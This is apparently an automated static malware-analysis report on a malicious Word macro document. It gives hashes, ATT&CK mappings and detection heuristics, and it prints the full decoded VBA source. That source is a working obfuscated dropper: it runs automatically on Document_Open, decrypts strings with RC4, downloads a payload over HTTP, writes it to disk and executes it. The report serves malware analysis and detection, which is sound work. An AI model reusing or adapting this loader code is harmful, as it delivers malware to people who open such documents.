Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dace63fe4904c6a1…

MALICIOUS

Office (OOXML)

32.4 KB Created: 2015-06-24 11:31:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-24
MD5: 62ea9c821a2cd2f9e8d720e8e5586d90 SHA-1: 33defbb6bf12c6a889a235c4278009b8065d19bd SHA-256: dace63fe4904c6a1c1c8178a63fe3d7307ebfdfa3d33f7c02bef6956f10b2d73
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is an OOXML document containing obfuscated VBA macros designed to execute automatically upon opening, as indicated by the 'Document_Open' macro and 'CreateObject' calls. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic. The VBA script attempts to construct a path using Environ() and a custom function, likely to download and execute a second-stage payload.

Heuristics 11

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set QnYx = CreateObject(VLKrVmTDuOpdktTMl(H09UKS01aym("0D7FC9FFB7E2DC74136E7E225B12AAC088DC5A11"), "HgXTe"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set QnYx = CreateObject(VLKrVmTDuOpdktTMl(H09UKS01aym("0D7FC9FFB7E2DC74136E7E225B12AAC088DC5A11"), "HgXTe"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject 16, 56
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    APEqAMy = Environ(VLKrVmTDuOpdktTMl(H09UKS01aym("6503B88D886752"), "UpzW4TnFiA1")) & "\" & QPRonCtKqc & VLKrVmTDuOpdktTMl(H09UKS01aym("435117D6"), "D455v53Rz6H9U8t")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12579 bytes
SHA-256: 2bbe801af36c4f0ff3b29b7e993d2b0b97f5429baf101e8d261d1e0c4ccaf5ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
97 of 182 identifiers look randomly generated (e.g. 'D948091F97E947ADCDC888413895574C4160384B') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Sub W5MRBxjZDWWg()
Dim GOIc47j6bf1oW5UO As Long, RaoU9HJv8 As Long
GOIc47j6bf1oW5UO = 60
RaoU9HJv8 = 45
If GOIc47j6bf1oW5UO + RaoU9HJv8 > 2 Then
RaoU9HJv8 = GOIc47j6bf1oW5UO + 38
Else
MsgBox 60
End If
Dim APEqAMy As String, QnYx As Object, C6688MhS3pA As Integer
Dim Nop6V As Long, Pq7g As Long
Nop6V = 18
Pq7g = 72
If Nop6V + Pq7g > 2 Then
Pq7g = Nop6V + 10
Else
MsgBox 70
End If
APEqAMy = Environ(VLKrVmTDuOpdktTMl(H09UKS01aym("6503B88D886752"), "UpzW4TnFiA1")) & "\" & QPRonCtKqc & VLKrVmTDuOpdktTMl(H09UKS01aym("435117D6"), "D455v53Rz6H9U8t")
Dim XhkRGkNXu7ik As Long, AvTIa3d9A97 As Long
XhkRGkNXu7ik = 27
AvTIa3d9A97 = 92
If XhkRGkNXu7ik + AvTIa3d9A97 > 2 Then
AvTIa3d9A97 = XhkRGkNXu7ik + 96
Else
MsgBox 36
End If
Set QnYx = CreateObject(VLKrVmTDuOpdktTMl(H09UKS01aym("0D7FC9FFB7E2DC74136E7E225B12AAC088DC5A11"), "HgXTe"))
Dim D047w3R As Long, OYWXfYON884 As Long
D047w3R = 87
OYWXfYON884 = 65
If D047w3R + OYWXfYON884 > 2 Then
OYWXfYON884 = D047w3R + 5
Else
MsgBox 86
End If
QnYx.Open VLKrVmTDuOpdktTMl(H09UKS01aym("CD6945"), "Vle3R"), VLKrVmTDuOpdktTMl(H09UKS01aym("46D948091F97E947ADCDC888413895574C4160384BE1D8137BD3"), "QxTjjsfZDR93hP"), False
Dim BK3VEun5F3hSIs As Long, Yp7fbGJnQTPZMW As Long
BK3VEun5F3hSIs = 59
Yp7fbGJnQTPZMW = 96
If BK3VEun5F3hSIs + Yp7fbGJnQTPZMW > 2 Then
Yp7fbGJnQTPZMW = BK3VEun5F3hSIs + 12
Else
MsgBox 91
End If
QnYx.setRequestHeader VLKrVmTDuOpdktTMl(H09UKS01aym("23A5955F4D629DEFCD79"), "B11iqY5bE"), VLKrVmTDuOpdktTMl(H09UKS01aym("5DD9667400D85BAF130C39"), "XtSlkXXhsq5pNt")
QnYx.send
If QnYx.Status = 200 Then
Dim QvxArc4U4GZ As Long, Iy7lzY5 As Long
QvxArc4U4GZ = 46
Iy7lzY5 = 90
If QvxArc4U4GZ + Iy7lzY5 > 2 Then
Iy7lzY5 = QvxArc4U4GZ + 4
Else
MsgBox 17
End If
C6688MhS3pA = FreeFile
Open APEqAMy For Binary Access Write Lock Write As #C6688MhS3pA
Put #C6688MhS3pA, , VLKrVmTDuOpdktTMl(StrConv(QnYx.ResponseBody, vbUnicode), VLKrVmTDuOpdktTMl(H09UKS01aym("4C44EA5D34325AC704"), "UTPZMWv5JA"))
Close #C6688MhS3pA
Dim L8SLH5UgzkJ As Long, UT4SUHQp As Long
L8SLH5UgzkJ = 68
UT4SUHQp = 23
If L8SLH5UgzkJ + UT4SUHQp > 2 Then
UT4SUHQp = L8SLH5UgzkJ + 32
Else
MsgBox 58
End If
R9TOUN9gvPlv 1
Dim OsKs6LXBl As Long, PRAJg9C8jd1mhYVg3 As Long
OsKs6LXBl = 39
PRAJg9C8jd1mhYVg3 = 84
If OsKs6LXBl + PRAJg9C8jd1mhYVg3 > 2 Then
PRAJg9C8jd1mhYVg3 = OsKs6LXBl + 97
Else
MsgBox 11
End If
CreateObject(VLKrVmTDuOpdktTMl(H09UKS01aym("C90AC0220D9FEF88758AA9C766"), "CiU9C8XPYL2aGk")).Run """" & APEqAMy & """"
Dim SfVBaMTSaWNolY As Long, YVXY29dMavcu As Long
SfVBaMTSaWNolY = 93
YVXY29dMavcu = 95
If SfVBaMTSaWNolY + YVXY29dMavcu > 2 Then
YVXY29dMavcu = SfVBaMTSaWNolY + 14
Else
MsgBox 59
End If
End If
Dim FKfvooo2yylVbHa As Long, CI2NODLlby As Long
FKfvooo2yylVbHa = 54
CI2NODLlby = 39
If FKfvooo2yylVbHa + CI2NODLlby > 2 Then
CI2NODLlby = FKfvooo2yylVbHa + 32
Else
MsgBox 54
End If
Set QnYx = Nothing
Dim BY0nh2Ulhsp As Long, G0gXV6LE7W3VSL As Long
BY0nh2Ulhsp = 66
G0gXV6LE7W3VSL = 76
If BY0nh2Ulhsp + G0gXV6LE7W3VSL > 2 Then
G0gXV6LE7W3VSL = BY0nh2Ulhsp + 47
Else
MsgBox 34
End If
End Sub
Function VLKrVmTDuOpdktTMl(ByVal VVCUj7IcDB2f4fOmP As String, ByVal RtSjF As String) As String
Dim Y9yD4gRqI0i8Gx As Long, LYAw2rlv As Long
Y9yD4gRqI0i8Gx = 38
LYAw2rlv = 62
If Y9yD4gRqI0i8Gx + LYAw2rlv > 2 Then
LYAw2rlv = Y9yD4gRqI0i8Gx + 89
Else
MsgBox 54
End If
On Error Resume Next
Dim L6NpFhimgKH As Long, PdoEbKpi As Long
L6NpFhimgKH = 2
PdoEbKpi = 71
If L6NpFhimgKH + PdoEbKpi > 2 Then
PdoEbKpi = L6NpFhimgKH + 37
Else
MsgBox 41
End If
Dim CuOpdktTMlGsm2o(0 To 255) As Integer, C0FTsYIThmoc As Long, IkB4FK7ts1 As Long, EJM As Long, Aql8OSygSfo() As Byte, EjxoZTbOyPG() As Byte, ShXDmd7TFnOs1RWS As Byte
Dim ImVPtXJ00c9w454St As Long, NsG5oSiJcAw2rlv As Long
ImVPtXJ00c9w454St = 98
NsG5oSiJcAw2rlv = 81
If ImVPtXJ00c9w454St + NsG5oSiJcAw2rlv > 2 Then
NsG5oSiJcAw2rlv = ImVPtXJ00c9w454St + 8
Else
MsgBox 28
End If
Aql8OSygSfo() = StrConv(RtSjF, vbFromUnicode)
Dim Dx9u5d As Long, JWDsP9plgvelX81 As Long
Dx9u5d = 91
JWDsP9plgvelX81 = 48
If Dx9u5d + JWDsP9plgvelX81 > 2 Then
JWDsP9plgvelX81 = Dx9u5d + 7
Else
MsgBox 3
End If
For C0FTsYIThmoc = 0 To 255
CuOpdktTMlGsm2o(C0FTsYIThmoc) = C0FTsYIThmoc
Next C0FTsYIThmoc
C0FTsYIThmoc = 0
IkB4FK7ts1 = 0
EJM = 0
For C0FTsYIThmoc = 0 To 255
IkB4FK7ts1 = (IkB4FK7ts1 + CuOpdktTMlGsm2o(C0FTsYIThmoc) + Aql8OSygSfo(C0FTsYIThmoc Mod Len(RtSjF))) Mod 256
ShXDmd7TFnOs1RWS = CuOpdktTMlGsm2o(C0FTsYIThmoc)
CuOpdktTMlGsm2o(C0FTsYIThmoc) = CuOpdktTMlGsm2o(IkB4FK7ts1)
CuOpdktTMlGsm2o(IkB4FK7ts1) = ShXDmd7TFnOs1RWS
Next C0FTsYIThmoc
C0FTsYIThmoc = 0
IkB4FK7ts1 = 0
EJM = 0
EjxoZTbOyPG() = StrConv(VVCUj7IcDB2f4fOmP, vbFromUnicode)
For C0FTsYIThmoc = 0 To Len(VVCUj7IcDB2f4fOmP)
IkB4FK7ts1 = (IkB4FK7ts1 + 1) Mod 256
EJM = (EJM + CuOpdktTMlGsm2o(IkB4FK7ts1)) Mod 256
ShXDmd7TFnOs1RWS = CuOpdktTMlGsm2o(IkB4FK7ts1)
CuOpdktTMlGsm2o(IkB4FK7ts1) = CuOpdktTMlGsm2o(EJM)
CuOpdktTMlGsm2o(EJM) = ShXDmd7TFnOs1RWS
EjxoZTbOyPG(C0FTsYIThmoc) = EjxoZTbOyPG(C0FTsYIThmoc) Xor (CuOpdktTMlGsm2o((CuOpdktTMlGsm2o(IkB4FK7ts1) + CuOpdktTMlGsm2o(EJM)) Mod 256))
Next C0FTsYIThmoc
Dim FksrTvqgJwpctGw As Long, XVnHdJaT30Z As Long
FksrTvqgJwpctGw = 84
XVnHdJaT30Z = 97
If FksrTvqgJwpctGw + XVnHdJaT30Z > 2 Then
XVnHdJaT30Z = FksrTvqgJwpctGw + 56
Else
MsgBox 81
End If
VLKrVmTDuOpdktTMl = StrConv(EjxoZTbOyPG, vbUnicode)
Dim B0i8GxCRRk As Long, FRYBn6eoAotKx As Long
B0i8GxCRRk = 90
FRYBn6eoAotKx = 78
If B0i8GxCRRk + FRYBn6eoAotKx > 2 Then
FRYBn6eoAotKx = B0i8GxCRRk + 14
Else
MsgBox 9
End If
End Function
Function QPRonCtKqc() As String
Dim L0WAdt6l4k As Long, M6DNIa0QIkuoBE As Long
L0WAdt6l4k = 17
M6DNIa0QIkuoBE = 27
If L0WAdt6l4k + M6DNIa0QIkuoBE > 2 Then
M6DNIa0QIkuoBE = L0WAdt6l4k + 97
Else
MsgBox 84
End If
Dim DvAWqCM() As Byte, X9vvYxO() As Byte, JIVKSQoKClBU62 As Long, O8WiuCBPxm As Long, TjJxY6Nz As String, UFngT As String, M0NdPMo1KT2l3 As Long
Dim KyjAdA89skMrZEbKk As Long, P8qvhBTif As Long
KyjAdA89skMrZEbKk = 23
P8qvhBTif = 57
If KyjAdA89skMrZEbKk + P8qvhBTif > 2 Then
P8qvhBTif = KyjAdA89skMrZEbKk + 80
Else
MsgBox 57
End If
M0NdPMo1KT2l3 = 0
Dim TkIh81gp As Long, UFnfZ As Long
TkIh81gp = 63
UFnfZ = 9
If TkIh81gp + UFnfZ > 2 Then
UFnfZ = TkIh81gp + 98
Else
MsgBox 55
End If
BtXO:
Dim H6JMbTm7pSRK As Long, KKK6L7mXyhAST7nw As Long
H6JMbTm7pSRK = 67
KKK6L7mXyhAST7nw = 96
If H6JMbTm7pSRK + KKK6L7mXyhAST7nw > 2 Then
KKK6L7mXyhAST7nw = H6JMbTm7pSRK + 37
Else
MsgBox 40
End If
Randomize
UFngT = Int(30 * Rnd)
If UFngT < 4 Then GoTo BtXO
M0NdPMo1KT2l3 = UFngT
If M0NdPMo1KT2l3 > 0& Then
Dim Qh0sAmthclocya As Long, H08aKQ5f0mE As Long
Qh0sAmthclocya = 26
H08aKQ5f0mE = 75
If Qh0sAmthclocya + H08aKQ5f0mE > 2 Then
H08aKQ5f0mE = Qh0sAmthclocya + 26
Else
MsgBox 48
End If
TjJxY6Nz = VLKrVmTDuOpdktTMl(H09UKS01aym("8878F352E0D6FCB99079"), "YtunM")
Randomize
DvAWqCM = TjJxY6Nz
JIVKSQoKClBU62 = Len(TjJxY6Nz) - 1&
M0NdPMo1KT2l3 = (M0NdPMo1KT2l3 * 2&) - 1&
ReDim X9vvYxO(M0NdPMo1KT2l3) As Byte
Dim SLx5R0 As Long, KGJ8MbL2yGSN4o As Long
SLx5R0 = 54
KGJ8MbL2yGSN4o = 62
If SLx5R0 + KGJ8MbL2yGSN4o > 2 Then
KGJ8MbL2yGSN4o = SLx5R0 + 12
Else
MsgBox 89
End If
For O8WiuCBPxm = 0& To M0NdPMo1KT2l3 Step 2&
X9vvYxO(O8WiuCBPxm) = DvAWqCM(CLng(JIVKSQoKClBU62 * Rnd) * 2&)
Next
Dim RzF As Long, GojNs2nOZDAKiCDT As Long
RzF = 28
GojNs2nOZDAKiCDT = 41
If RzF + GojNs2nOZDAKiCDT > 2 Then
GojNs2nOZDAKiCDT = RzF + 55
Else
MsgBox 86
End If
End If
Dim P3pxeXdU9Sq8 As Long, B3x6FqMwIeG As Long
P3pxeXdU9Sq8 = 27
B3x6FqMwIeG = 72
If P3pxeXdU9Sq8 + B3x6FqMwIeG > 2 Then
B3x6FqMwIeG = P3pxeXdU9Sq8 + 36
Else
MsgBox 92
End If
QPRonCtKqc = X9vvYxO
Dim Qd5OYKjynnt4 As Long, Tl76E0vKurylToKJG As Long
Qd5OYKjynnt4 = 54
Tl76E0vKurylToKJG = 38
If Qd5OYKjynnt4 + Tl76E0vKurylToKJG > 2 Then
Tl76E0vKurylToKJG = Qd5OYKjynnt4 + 86
Else
MsgBox 42
End If
End Function
Function H09UKS01aym(QJhI5B0tDiUJZ5L9B As String) As String
Dim BM1ldGbT As Long, PAlLF4h As Long
BM1ldGbT = 65
PAlLF4h = 78
If BM1ldGbT + PAlLF4h > 2 Then
PAlLF4h = BM1ldGbT + 92
Else
MsgBox 51
End If
Dim ISb6WQlAu2w2G9 As Integer
Dim KiyzinroAPuD As Long, OUd7oTLPCDe As Long
KiyzinroAPuD = 26
OUd7oTLPCDe = 49
If KiyzinroAPuD + OUd7oTLPCDe > 2 Then
OUd7oTLPCDe = KiyzinroAPuD + 27
Else
MsgBox 22
End If
For ISb6WQlAu2w2G9 = 1 To Len(QJhI5B0tDiUJZ5L9B) Step 2
H09UKS01aym = H09UKS01aym & Chr$(Val(Chr$(38) & Chr$(72) & Mid$(QJhI5B0tDiUJZ5L9B, ISb6WQlAu2w2G9, 2)))
Next
Dim GSmRYBjS7qxxZFQF As Long, CBx4YYJ As Long
GSmRYBjS7qxxZFQF = 72
CBx4YYJ = 12
If GSmRYBjS7qxxZFQF + CBx4YYJ > 2 Then
CBx4YYJ = GSmRYBjS7qxxZFQF + 66
Else
MsgBox 75
End If
End Function
Sub PIjM()
Dim SvDsI1GyU5Rmtq7 As Long, OgMRI523 As Long
SvDsI1GyU5Rmtq7 = 56
OgMRI523 = 8
If SvDsI1GyU5Rmtq7 + OgMRI523 > 2 Then
OgMRI523 = SvDsI1GyU5Rmtq7 + 6
Else
MsgBox 37
End If
Command
DeleteSetting "F7gltLP"
SdTSzB9IJIx = CVErr(60)
Sin 69
ChDir 95
GetObject 16, 56
Weekday 81
OZSKvdTgszz = CVar(57)
ChDrive 31
Tan 83
IPmt 26, 24, 78, 42
Month 75
NPer 49, 56, 7
LOF 57
Reset
GetAllSettings 78, 67
If CDate(2) = True Then Tz4Oh8DUu5avXJ = 9640
Yp6m9vOzCYEw = Day(82)
Fas4mVcdBniBk1 = DateValue(30)
LoadPicture 14, 7, 29, 62, 90
Log 32
Randomize
If IsMissing(8) = True Then AmhMsZ = 26
If CCur(71) = True Then D03eE9 = 6118
Bl1hx7kgp = Dir("YtRsIXWoQVBQ3U")
DiSG3Re38 = CurDir
HJP4N6ouP97 = LCase(22)
IsError 84
Join XhiYoONW1fNp, 23
Atn 34
Dim Buea1r4m7ud As Long, Ys11cFbSQEJ As Long
Buea1r4m7ud = 77
Ys11cFbSQEJ = 92
If Buea1r4m7ud + Ys11cFbSQEJ > 2 Then
Ys11cFbSQEJ = Buea1r4m7ud + 94
Else
MsgBox 13
End If
End Sub
Sub R9TOUN9gvPlv(VRBWkasO As Long)
Dim PPshuSg As Long, Jx0pNrV06Ock As Long
PPshuSg = 64
Jx0pNrV06Ock = 57
If PPshuSg + Jx0pNrV06Ock > 2 Then
Jx0pNrV06Ock = PPshuSg + 79
Else
MsgBox 85
End If
Dim UbxAGDtCN27d As Long
Dim QpemFF9ia9Nf As Long, AMKJpIc3zd9TQ As Long
QpemFF9ia9Nf = 69
AMKJpIc3zd9TQ = 18
If QpemFF9ia9Nf + AMKJpIc3zd9TQ > 2 Then
AMKJpIc3zd9TQ = QpemFF9ia9Nf + 18
Else
MsgBox 70
End If
UbxAGDtCN27d = Timer + VRBWkasO
Do While Timer < UbxAGDtCN27d
DoEvents
Loop
Dim T70c8zrxhhKNe As Long, RvWQU3Y1vp3V As Long
T70c8zrxhhKNe = 55
RvWQU3Y1vp3V = 58
If T70c8zrxhhKNe + RvWQU3Y1vp3V > 2 Then
RvWQU3Y1vp3V = T70c8zrxhhKNe + 76
Else
MsgBox 95
End If
End Sub
Sub Document_Open()
Dim GuZhLwQPa As Long, YgIi7dnTQX As Long
GuZhLwQPa = 82
YgIi7dnTQX = 51
If GuZhLwQPa + YgIi7dnTQX > 2 Then
YgIi7dnTQX = GuZhLwQPa + 17
Else
MsgBox 21
End If
Dim Ne3Plcn As Long, BJNBv6m1ynC As Long, QhhpI As Long
Dim M91SHT As Long, BmmnwLDKfwIuSJCPg As Long
M91SHT = 8
BmmnwLDKfwIuSJCPg = 77
If M91SHT + BmmnwLDKfwIuSJCPg > 2 Then
BmmnwLDKfwIuSJCPg = M91SHT + 42
Else
MsgBox 47
End If
Ne3Plcn = 998384182: BJNBv6m1ynC = 0: QhhpI = 0
Dim LQrCVr As Long, P1lNT5TpgHxvd As Long
LQrCVr = 5
P1lNT5TpgHxvd = 86
If LQrCVr + P1lNT5TpgHxvd > 2 Then
P1lNT5TpgHxvd = LQrCVr + 14
Else
MsgBox 33
End If
For BJNBv6m1ynC = 1 To Ne3Plcn
QhhpI = QhhpI + 1
Next BJNBv6m1ynC
Dim K1rMmySWwsY1MY As Long, PrtkFldyI8n As Long
K1rMmySWwsY1MY = 55
PrtkFldyI8n = 60
If K1rMmySWwsY1MY + PrtkFldyI8n > 2 Then
PrtkFldyI8n = K1rMmySWwsY1MY + 44
Else
MsgBox 92
End If
If QhhpI = Ne3Plcn Then
Dim Ou32yz3UuCZvr As Long, QFKNDCVr As Long
Ou32yz3UuCZvr = 58
QFKNDCVr = 72
If Ou32yz3UuCZvr + QFKNDCVr > 2 Then
QFKNDCVr = Ou32yz3UuCZvr + 30
Else
MsgBox 81
End If
W5MRBxjZDWWg
Dim EuvsR0nX As Long, IGy6qVEas8k9EWkkz As Long
EuvsR0nX = 49
IGy6qVEas8k9EWkkz = 79
If EuvsR0nX + IGy6qVEas8k9EWkkz > 2 Then
IGy6qVEas8k9EWkkz = EuvsR0nX + 60
Else
MsgBox 65
End If
Else
Dim EqV4fg8Un As Long, OoCNjBL As Long
EqV4fg8Un = 76
OoCNjBL = 45
If EqV4fg8Un + OoCNjBL > 2 Then
OoCNjBL = EqV4fg8Un + 11
Else
MsgBox 15
End If
PIjM
Dim XuG0bl5k As Long, Wcg1sLrfDagGaG As Long
XuG0bl5k = 96
Wcg1sLrfDagGaG = 9
If XuG0bl5k + Wcg1sLrfDagGaG > 2 Then
Wcg1sLrfDagGaG = XuG0bl5k + 46
Else
MsgBox 61
End If
End If
Dim L3Pwu9lqzq4 As Long, Y09Fa3vVG6fusf9 As Long
L3Pwu9lqzq4 = 68
Y09Fa3vVG6fusf9 = 95
If L3Pwu9lqzq4 + Y09Fa3vVG6fusf9 > 2 Then
Y09Fa3vVG6fusf9 = L3Pwu9lqzq4 + 88
Else
MsgBox 55
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 33280 bytes
SHA-256: 08a4eaf702db8dfd6d9efc0e7bea6367591a115dd1cf4449528eb59513713601
Detection
ClamAV: Doc.Malware.Chronos-6897935-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.